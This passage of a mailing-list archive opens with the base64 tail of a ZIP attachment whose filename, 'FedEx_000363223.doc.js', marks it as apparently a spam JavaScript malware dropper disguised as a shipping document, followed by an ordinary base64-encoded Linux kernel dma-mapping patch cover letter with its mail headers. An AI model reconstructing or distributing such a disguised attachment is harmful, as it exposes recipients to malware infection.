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


--b1_4f04e8c8a7bf38424fb2d25d2afe1739--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Krzysztof Kozlowski <k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>
Newsgroups: gmane.comp.freedesktop.xorg.drivers.freedreno,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.linux.kernel.pci,gmane.comp.video.dri.devel,gmane.linux.ports.sparc,gmane.linux.kernel.samsung-soc,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.ports.arm.rockchip,gmane.comp.freedesktop.xorg.nouveau,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.arm.msm,gmane.linux.ports.arm.mediatek,gmane.linux.ports.arm.omap,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH v5 00/44] dma-mapping: Use unsigned long for
	dma_attrs
Date: Thu, 30 Jun 2016 10:23:39 +0200
Lines: 194
Approved: news@gmane.org
Message-ID: <1467275019-30789-1-git-send-email-k.kozlowski@samsung.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1467275056 32162 80.91.229.3 (30 Jun 2016 08:24:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Jun 2016 08:24:16 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, Krzysztof Kozlowski <k.kozlowski-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>,
 linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-doc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-fbdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 dri-devel-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-samsung-soc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org, linux-rdma-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org,
 linux-rockchip-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, nouveau-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org,
 xen-devel-GuqFBffKawtpuQazS67q72D2FQJk+8+b@public.gmane.org, linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
 linux-media-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
 Bartlomiej Zolnierkiewicz <b.zolnierkie-Sze3O3UU22JBDgjK7y7TUQ@public.gmane.org>,
 linux-arm-msm-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
 linux-mediatek-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-omap-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XcXa4x6EXUF0@public.gmane.org
To: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
Original-X-From: freedreno-bounces-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org Thu Jun 30 10:24:00 2016
Return-path: <freedreno-bounces-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org>
Envelope-to: gcfxdf-freedreno@m.gmane.org
Original-Received: from gabe.freedesktop.org ([131.252.210.177])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <freedreno-bounces-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org>)
	id 1bIXGR-0000c0-Tg
	for gcfxdf-freedreno@m.gmane.org; Thu, 30 Jun 2016 10:24:00 +0200
Original-Received: from gabe.freedesktop.org (localhost [127.0.0.1])
	by gabe.freedesktop.org (Postfix) with ESMTP id 3E74D6E069;
	Thu, 30 Jun 2016 08:23:59 +0000 (UTC)
X-Original-To: freedreno-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org
Delivered-To: freedreno-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org
Original-Received: from mailout3.w1.samsung.com (mailout3.w1.samsung.com
 [210.118.77.13])
 by gabe.freedesktop.org (Postfix) with ESMTPS id 358656E069;
 Thu, 30 Jun 2016 08:23:57 +0000 (UTC)
Original-Received: from eucpsbgm2.samsung.com (unknown [203.254.199.245])
 by mailout3.w1.samsung.com
 (Oracle Communications Messaging Server 7.0.5.31.0 64bit (built May 5 2014))
 with ESMTP id <0O9K008IRSNTZE80-ZYF8IEceZgoN6F2oBFWwZJQQlyuF8BCz@public.gmane.org>; Thu,
 30 Jun 2016 09:23:53 +0100 (BST)
X-AuditID: cbfec7f5-f792a6d000001302-9c-5774d718a603
Original-Received: from eusync1.samsung.com ( [203.254.199.211])
 by eucpsbgm2.samsung.com (EUCPMTA) with SMTP id 83.53.04866.817D4775; Thu,
 30 Jun 2016 09:23:53 +0100 (BST)
Original-Received: from AMDC2174.DIGITAL.local ([106.120.53.17])
 by eusync1.samsung.com (Oracle Communications Messaging Server 7.0.5.31.0
 64bit (built May  5 2014))
 with ESMTPA id <0O9K00KD5SNLE430-rAIWz56XxXdLN7c7dRTbYkEOCMrvLtNR@public.gmane.org>; Thu,
 30 Jun 2016 09:23:52 +0100 (BST)
X-Mailer: git-send-email 1.9.1
X-Brightmail-Tracker: H4sIAAAAAAAAAzWRa0hTcRjG+5/bjtbssEyPCkKjogxvXeDVsozATkQkkQldqKkHFeeFzYlG
 0bzXSp030DTR0jZXczk1ZVHivCeiomhFllmoJTpR1GKluaRvv+fy8n54aFzUSLjS0XGJvCxO
 IhVT9kTfWvewp8tYYqjPcBaCcsNzCupLDCSMLFsoKJ/uR9CnfoxBZetRmJ3xhfnxDgTGr6Mk
 5Lf2C6CjTI2B9lkdDlVZ1QT05C6QYMlooWDh7jwJw6ZyCjTf9Dg8eNG0IdOHEEx9yCZAXVwg
 gLLqPAIm3w5i0F/RTcGUOYeAxYl1HNRV6TiUDLzBoPx3EQ6ZH/UY1PbrBWBdXSNhNTeXBGWv
 doMaC7HA3dxYXTDXoPXgWoyzGNdTYiW4zlo9xs20NePc5/vdGNdQfYcrfKdBXG/mCsENlFQh
 rn1hhOByG3WIWzK6Bztctj8WwUujk3iZ9/Eb9lHr7S4JqkvJVp2BUCKjnwrZ0SxzmP2hVaJN
 dmIHPxkoFbKnRUwNYsdns8hNkYqxP7+vYbYWxRxiGzTVlI0dGU9WN23CbSWcWaLZjPw0whbs
 YILY+uaCfwcEs4dtyy/b8GlayJxmFyskm9/c2d6uQlKNtlaiLTq0k1eEJ8jDImMPesklsXJF
 XKRXeHysEW1uudyCarr8zYihkXibMBBPDBWRkiR5SqwZsTQudhQ2j2xYwghJyk1eFn9dppDy
 cjNyowmxs7DUZLkoYiIliXwMzyfwsv8pRtu5KtG1E9napwonj3Crsy40yOWV6lGAsOjenM/2
 ZMrZshgSHd5kljuc6tL8Ctu7fst84eSQv3Tuid5BJG13c799vsNw5dy+hxNnybx5 
X-BeenThere: freedreno-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: Freedreno graphics driver community testing & development
 <freedreno.lists.freedesktop.org>
List-Unsubscribe: <https://lists.freedesktop.org/mailman/options/freedreno>,
 <mailto:freedreno-request-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org?subject=unsubscribe>
List-Archive: <https://lists.freedesktop.org/archives/freedreno>
List-Post: <mailto:freedreno-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org>
List-Help: <mailto:freedreno-request-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org?subject=help>
List-Subscribe: <https://lists.freedesktop.org/mailman/listinfo/freedreno>,
 <mailto:freedreno-request-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org?subject=subscribe>
Errors-To: freedreno-bounces-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org
Original-Sender: "Freedreno" <freedreno-bounces-PD4FTy7X32lNgt0PjOBp9y5qC8QIuHrW@public.gmane.org>
Xref: news.gmane.org gmane.comp.freedesktop.xorg.drivers.freedreno:164 gmane.linux.ports.mips.general:55339 gmane.linux.ports.ia64:26960 gmane.linux.documentation:39341 gmane.linux.kernel.pci:53110 gmane.comp.video.dri.devel:158683 gmane.linux.ports.sparc:23144 gmane.linux.kernel.samsung-soc:55085 gmane.linux.drivers.rdma:38308 gmane.linux.ports.hexagon:1031 gmane.linux.ports.sh.devel:54312 gmane.linux.ports.arm.rockchip:7944 gmane.comp.freedesktop.xorg.nouveau:25258 gmane.linux.kernel.arc:1293 gmane.linux.drivers.video-input-infrastructure:103619 gmane.linux.ports.arm.msm:20121 gmane.linux.ports.arm.mediatek:5878 gmane.linux.ports.arm.omap:137405 gmane.linux.kernel.metag:1113 gmane.linux.ports.arm.kernel:510850 gmane.linux.ports.parisc:26918 gmane.linux.kernel:2256680 gmane.linux.kernel.iommu:14326 gmane.linux.ports.alpha:3839 gmane.linux.ports.ppc64.devel:129341
Archived-At: <http://permalink.gmane.org/gmane.comp.freedesktop.xorg.drivers.freedreno/164>

SGksCgoKVGhpcyBpcyBmaWZ0aCBhcHByb2FjaCBmb3IgcmVwbGFjaW5nIHN0cnVjdCBkbWFfYXR0
cnMgd2l0aCB1bnNpZ25lZApsb25nLgoKVGhlIG1haW4gcGF0Y2ggKDEvNDQpIGRvaW5nIHRoZSBj
aGFuZ2UgaXMgc3BsaXQgaW50byBtYW55IHN1YnBhdGNoZXMKZm9yIGVhc2llciByZXZpZXcgKDIt
NDIpLiAgVGhleSBzaG91bGQgYmUgc3F1YXNoZWQgdG9nZXRoZXIgd2hlbgphcHBseWluZy4KCgpS
ZWJhc2VkIG9uIHY0LjctcmM1LgoKRm9yIGVhc2llciB0ZXN0aW5nIHRoZSBwYXRjaHNldCBpcyBh
dmFpbGFibGUgaGVyZToKcmVwbzogICBodHRwczovL2dpdGh1Yi5jb20va3J6ay9saW51eApicmFu
Y2g6IGZvci1uZXh0L2RtYS1hdHRycy1jb25zdC12NQoKCkNoYW5nZXMgc2luY2UgdjQKPT09PT09
PT09PT09PT09PQoxLiBDb2xsZWN0IHNvbWUgYWNrcy4gU3RpbGwgbmVlZCBtb3JlLgoyLiBNaW5v
ciBmaXhlcyBwb2ludGVkIGJ5IFJvYmluIE11cnBoeS4KMy4gQXBwbGllZCBjaGFuZ2VzIGZyb20g
QmFydCBWYW4gQXNzY2hlJ3MgY29tbWVudC4KNC4gTW9yZSB0ZXN0cyBhbmQgYnVpbGRzICh1c2lu
ZyBodHRwczovL3d3dy5rZXJuZWwub3JnL3B1Yi90b29scy9jcm9zc3Rvb2wvKS4KCgpDaGFuZ2Vz
IHNpbmNlIHYzCj09PT09PT09PT09PT09PT0KMS4gQ29sbGVjdCBzb21lIGFja3MuCjIuIERyb3Ag
d3JvbmcgcGF0Y2ggMS80NSAoInBvd2VycGM6IGRtYS1tYXBwaW5nOiBEb24ndCBoYXJkLWNvZGUK
ICAgdGhlIHZhbHVlIG9mIERNQV9BVFRSX1dFQUtfT1JERVJJTkciKS4KMy4gTWlub3IgZml4IHBv
aW50ZWQgb3V0IGJ5IE1pY2hhZWwgRWxsZXJtYW4uCgoKQ2hhbmdlcyBzaW5jZSB2Mgo9PT09PT09
PT09PT09PT09CjEuIEZvbGxvdyBDaHJpc3RvcGggSGVsbHdpZydzIGNvbW1lbnRzIChkb24ndCB1
c2UgQklUIGFkZAogICBkb2N1bWVudGF0aW9uLCByZW1vdmUgZG1hX2dldF9hdHRyKS4KCgpSYXRp
b25hbGUKPT09PT09PT09ClRoZSBkbWEtbWFwcGluZyBjb3JlIGFuZCB0aGUgaW1wbGVtZW50YXRp
b25zIGRvIG5vdCBjaGFuZ2UgdGhlCkRNQSBhdHRyaWJ1dGVzIHBhc3NlZCBieSBwb2ludGVyLiAg
VGh1cyB0aGUgcG9pbnRlciBjYW4gcG9pbnQgdG8gY29uc3QKZGF0YS4gIEhvd2V2ZXIgdGhlIGF0
dHJpYnV0ZXMgZG8gbm90IGhhdmUgdG8gYmUgYSBiaXRmaWVsZC4gSW5zdGVhZAp1bnNpZ25lZCBs
b25nIHdpbGwgZG8gZmluZToKCjEuIFRoaXMgaXMganVzdCBzaW1wbGVyLiAgQm90aCBpbiB0ZXJt
cyBvZiByZWFkaW5nIHRoZSBjb2RlIGFuZCBzZXR0aW5nCiAgIGF0dHJpYnV0ZXMuICBJbnN0ZWFk
IG9mIGluaXRpYWxpemluZyBsb2NhbCBhdHRyaWJ1dGVzIG9uIHRoZSBzdGFjawogICBhbmQgcGFz
c2luZyBwb2ludGVyIHRvIGl0IHRvIGRtYV9zZXRfYXR0cigpLCBqdXN0IHNldCB0aGUgYml0cy4K
CjIuIEl0IGJyaW5ncyBzYWZlbmVzcyBhbmQgY2hlY2tpbmcgZm9yIGNvbnN0IGNvcnJlY3RuZXNz
IGJlY2F1c2UgdGhlCiAgIGF0dHJpYnV0ZXMgYXJlIHBhc3NlZCBieSB2YWx1ZS4KCgpCZXN0IHJl
Z2FyZHMsCktyenlzenRvZgoKCktyenlzenRvZiBLb3psb3dza2kgKDQ0KToKICBkbWEtbWFwcGlu
ZzogVXNlIHVuc2lnbmVkIGxvbmcgZm9yIGRtYV9hdHRycwogIGFscGhhOiBkbWEtbWFwcGluZzog
VXNlIHVuc2lnbmVkIGxvbmcgZm9yIGRtYV9hdHRycwogIGFyYzogZG1hLW1hcHBpbmc6IFVzZSB1
bnNpZ25lZCBsb25nIGZvciBkbWFfYXR0cnMKICBBUk06IGRtYS1tYXBwaW5nOiBVc2UgdW5zaWdu
ZWQgbG9uZyBmb3IgZG1hX2F0dHJzCiAgYXJtNjQ6IGRtYS1tYXBwaW5nOiBVc2UgdW5zaWduZWQg
bG9uZyBmb3IgZG1hX2F0dHJzCiAgYXZyMzI6IGRtYS1tYXBwaW5nOiBVc2UgdW5zaWduZWQgbG9u
ZyBmb3IgZG1hX2F0dHJzCiAgYmxhY2tmaW46IGRtYS1tYXBwaW5nOiBVc2UgdW5zaWduZWQgbG9u
ZyBmb3IgZG1hX2F0dHJzCiAgYzZ4OiBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVkIGxvbmcgZm9y
IGRtYV9hdHRycwogIGNyaXM6IGRtYS1tYXBwaW5nOiBVc2UgdW5zaWduZWQgbG9uZyBmb3IgZG1h
X2F0dHJzCiAgZnJ2OiBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVkIGxvbmcgZm9yIGRtYV9hdHRy
cwogIGRybS9leHlub3M6IGRtYS1tYXBwaW5nOiBVc2UgdW5zaWduZWQgbG9uZyBmb3IgZG1hX2F0
dHJzCiAgZHJtL21lZGlhdGVrOiBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVkIGxvbmcgZm9yIGRt
YV9hdHRycwogIGRybS9tc206IGRtYS1tYXBwaW5nOiBVc2UgdW5zaWduZWQgbG9uZyBmb3IgZG1h
X2F0dHJzCiAgZHJtL25vdXZlYXU6IGRtYS1tYXBwaW5nOiBVc2UgdW5zaWduZWQgbG9uZyBmb3Ig
ZG1hX2F0dHJzCiAgZHJtL3JvY2tzaGlwOiBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVkIGxvbmcg
Zm9yIGRtYV9hdHRycwogIGluZmluaWJhbmQ6IGRtYS1tYXBwaW5nOiBVc2UgdW5zaWduZWQgbG9u
ZyBmb3IgZG1hX2F0dHJzCiAgaW9tbXU6IGRtYS1tYXBwaW5nOiBVc2UgdW5zaWduZWQgbG9uZyBm
b3IgZG1hX2F0dHJzCiAgW21lZGlhXSBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVkIGxvbmcgZm9y
IGRtYV9hdHRycwogIHhlbjogZG1hLW1hcHBpbmc6IFVzZSB1bnNpZ25lZCBsb25nIGZvciBkbWFf
YXR0cnMKICBzd2lvdGxiOiBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVkIGxvbmcgZm9yIGRtYV9h
dHRycwogIHBvd2VycGM6IGRtYS1tYXBwaW5nOiBVc2UgdW5zaWduZWQgbG9uZyBmb3IgZG1hX2F0
dHJzCiAgdmlkZW86IGRtYS1tYXBwaW5nOiBVc2UgdW5zaWduZWQgbG9uZyBmb3IgZG1hX2F0dHJz
CiAgeDg2OiBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVkIGxvbmcgZm9yIGRtYV9hdHRycwogIGlv
bW11OiBpbnRlbDogZG1hLW1hcHBpbmc6IFVzZSB1bnNpZ25lZCBsb25nIGZvciBkbWFfYXR0cnMK
ICBoODMwMDogZG1hLW1hcHBpbmc6IFVzZSB1bnNpZ25lZCBsb25nIGZvciBkbWFfYXR0cnMKICBo
ZXhhZ29uOiBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVkIGxvbmcgZm9yIGRtYV9hdHRycwogIGlh
NjQ6IGRtYS1tYXBwaW5nOiBVc2UgdW5zaWduZWQgbG9uZyBmb3IgZG1hX2F0dHJzCiAgbTY4azog
ZG1hLW1hcHBpbmc6IFVzZSB1bnNpZ25lZCBsb25nIGZvciBkbWFfYXR0cnMKICBtZXRhZzogZG1h
LW1hcHBpbmc6IFVzZSB1bnNpZ25lZCBsb25nIGZvciBkbWFfYXR0cnMKICBtaWNyb2JsYXplOiBk
bWEtbWFwcGluZzogVXNlIHVuc2lnbmVkIGxvbmcgZm9yIGRtYV9hdHRycwogIG1pcHM6IGRtYS1t
YXBwaW5nOiBVc2UgdW5zaWduZWQgbG9uZyBmb3IgZG1hX2F0dHJzCiAgbW4xMDMwMDogZG1hLW1h
cHBpbmc6IFVzZSB1bnNpZ25lZCBsb25nIGZvciBkbWFfYXR0cnMKICBuaW9zMjogZG1hLW1hcHBp
bmc6IFVzZSB1bnNpZ25lZCBsb25nIGZvciBkbWFfYXR0cnMKICBvcGVucmlzYzogZG1hLW1hcHBp
bmc6IFVzZSB1bnNpZ25lZCBsb25nIGZvciBkbWFfYXR0cnMKICBwYXJpc2M6IGRtYS1tYXBwaW5n
OiBVc2UgdW5zaWduZWQgbG9uZyBmb3IgZG1hX2F0dHJzCiAgbWlzYzogbWljOiBkbWEtbWFwcGlu
ZzogVXNlIHVuc2lnbmVkIGxvbmcgZm9yIGRtYV9hdHRycwogIHMzOTA6IGRtYS1tYXBwaW5nOiBV
c2UgdW5zaWduZWQgbG9uZyBmb3IgZG1hX2F0dHJzCiAgc2g6IGRtYS1tYXBwaW5nOiBVc2UgdW5z
aWduZWQgbG9uZyBmb3IgZG1hX2F0dHJzCiAgc3BhcmM6IGRtYS1tYXBwaW5nOiBVc2UgdW5zaWdu
ZWQgbG9uZyBmb3IgZG1hX2F0dHJzCiAgdGlsZTogZG1hLW1hcHBpbmc6IFVzZSB1bnNpZ25lZCBs
b25nIGZvciBkbWFfYXR0cnMKICB1bmljb3JlMzI6IGRtYS1tYXBwaW5nOiBVc2UgdW5zaWduZWQg
bG9uZyBmb3IgZG1hX2F0dHJzCiAgeHRlbnNhOiBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVkIGxv
bmcgZm9yIGRtYV9hdHRycwogIGRtYS1tYXBwaW5nOiBSZW1vdmUgZG1hX2dldF9hdHRyCiAgZG1h
LW1hcHBpbmc6IERvY3VtZW50IHRoZSBETUEgYXR0cmlidXRlcyBuZXh0IHRvIHRoZSBkZWNsYXJh
dGlvbgoKIERvY3VtZW50YXRpb24vRE1BLUFQSS50eHQgICAgICAgICAgICAgICAgICAgICAgICAg
IHwgIDMzICsrKy0tLQogRG9jdW1lbnRhdGlvbi9ETUEtYXR0cmlidXRlcy50eHQgICAgICAgICAg
ICAgICAgICAgfCAgIDIgKy0KIGFyY2gvYWxwaGEvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaCAg
ICAgICAgICAgICAgIHwgICAyIC0KIGFyY2gvYWxwaGEva2VybmVsL3BjaS1ub29wLmMgICAgICAg
ICAgICAgICAgICAgICAgIHwgICAyICstCiBhcmNoL2FscGhhL2tlcm5lbC9wY2lfaW9tbXUuYyAg
ICAgICAgICAgICAgICAgICAgICB8ICAxMiArLQogYXJjaC9hcmMvbW0vZG1hLmMgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgfCAgMTIgKy0KIGFyY2gvYXJtL2NvbW1vbi9kbWFib3Vu
Y2UuYyAgICAgICAgICAgICAgICAgICAgICAgIHwgICA0ICstCiBhcmNoL2FybS9pbmNsdWRlL2Fz
bS9kbWEtbWFwcGluZy5oICAgICAgICAgICAgICAgICB8ICAxMyArLS0KIGFyY2gvYXJtL2luY2x1
ZGUvYXNtL3hlbi9wYWdlLWNvaGVyZW50LmggICAgICAgICAgIHwgIDE2ICstLQogYXJjaC9hcm0v
bW0vZG1hLW1hcHBpbmcuYyAgICAgICAgICAgICAgICAgICAgICAgICAgfCAxMTcgKysrKysrKysr
LS0tLS0tLS0tLQogYXJjaC9hcm0veGVuL21tLmMgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgfCAgIDggKy0KIGFyY2gvYXJtNjQvbW0vZG1hLW1hcHBpbmcuYyAgICAgICAgICAgICAg
ICAgICAgICAgIHwgIDY2ICsrKysrLS0tLS0tCiBhcmNoL2F2cjMyL21tL2RtYS1jb2hlcmVudC5j
ICAgICAgICAgICAgICAgICAgICAgICB8ICAxMiArLQogYXJjaC9ibGFja2Zpbi9rZXJuZWwvZG1h
LW1hcHBpbmcuYyAgICAgICAgICAgICAgICAgfCAgIDggKy0KIGFyY2gvYzZ4L2luY2x1ZGUvYXNt
L2RtYS1tYXBwaW5nLmggICAgICAgICAgICAgICAgIHwgICA0ICstCiBhcmNoL2M2eC9rZXJuZWwv
ZG1hLmMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8ICAgOSArLQogYXJjaC9jNngvbW0v
ZG1hLWNvaGVyZW50LmMgICAgICAgICAgICAgICAgICAgICAgICAgfCAgIDQgKy0KIGFyY2gvY3Jp
cy9hcmNoLXYzMi9kcml2ZXJzL3BjaS9kbWEuYyAgICAgICAgICAgICAgIHwgICA5ICstCiBhcmNo
L2Zydi9tYjkzMDkwLW1iMDAvcGNpLWRtYS1ub21tdS5jICAgICAgICAgICAgICB8ICAgOCArLQog
YXJjaC9mcnYvbWI5MzA5MC1tYjAwL3BjaS1kbWEuYyAgICAgICAgICAgICAgICAgICAgfCAgIDkg
Ky0KIGFyY2gvaDgzMDAva2VybmVsL2RtYS5jICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwg
ICA4ICstCiBhcmNoL2hleGFnb24vaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaCAgICAgICAgICAg
ICB8ICAgMSAtCiBhcmNoL2hleGFnb24va2VybmVsL2RtYS5jICAgICAgICAgICAgICAgICAgICAg
ICAgICB8ICAgOCArLQogYXJjaC9pYTY0L2hwL2NvbW1vbi9zYmFfaW9tbXUuYyAgICAgICAgICAg
ICAgICAgICAgfCAgMjIgKystLQogYXJjaC9pYTY0L2luY2x1ZGUvYXNtL21hY2h2ZWMuaCAgICAg
ICAgICAgICAgICAgICAgfCAgIDEgLQogYXJjaC9pYTY0L2tlcm5lbC9wY2ktc3dpb3RsYi5jICAg
ICAgICAgICAgICAgICAgICAgfCAgIDQgKy0KIGFyY2gvaWE2NC9zbi9wY2kvcGNpX2RtYS5jICAg
ICAgICAgICAgICAgICAgICAgICAgIHwgIDIyICsrLS0KIGFyY2gvbTY4ay9rZXJuZWwvZG1hLmMg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwgIDEyICstCiBhcmNoL21ldGFnL2tlcm5lbC9k
